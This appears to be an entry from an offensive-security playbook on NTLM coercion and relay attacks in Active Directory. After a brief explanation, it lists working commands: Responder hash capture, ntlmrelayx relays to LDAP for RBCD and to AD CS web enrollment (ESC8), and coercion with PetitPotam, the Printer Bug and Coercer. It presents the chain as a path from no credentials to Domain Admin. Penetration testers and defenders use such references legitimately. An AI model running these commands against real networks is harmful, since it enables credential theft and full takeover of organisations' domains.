What it is
Force a machine (often a Domain Controller) to authenticate to you, then relay that authentication to another service (LDAP, SMB, or AD CS) where it grants access. Coercion triggers the auth; the relay cashes it in. A classic unauthenticated path to Domain Admin. Disable SMB and HTTP in Responder.conf so ntlmrelayx owns the relay.
Passively poison LLMNR / NBT-NS to capture NetNTLM hashes
sudo responder -I <INTERFACE>
Relay to LDAP → grant yourself RBCD or dump the domain
impacket-ntlmrelayx -t ldap://<DC-IP> -smb2support --delegate-access
Relay to AD CS web enrollment (ESC8) → a DC certificate → Domain Admin
impacket-ntlmrelayx -t http://<CA-HOST>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
Coerce a DC to authenticate to your relay · PetitPotam (MS-EFSRPC)
python3 PetitPotam.py -u <USER> -p <PASS> -d <DOMAIN> <YOUR-IP> <DC-IP>
Coerce via the Printer Bug (MS-RPRN)
python3 printerbug.py <DOMAIN>/<USER>:<PASS>@<DC-IP> <YOUR-IP>
Coercer · tries every known coercion method at once
coercer coerce -u <USER> -p <PASS> -d <DOMAIN> -t <DC-IP> -l <YOUR-IP>
leads to
in playbooks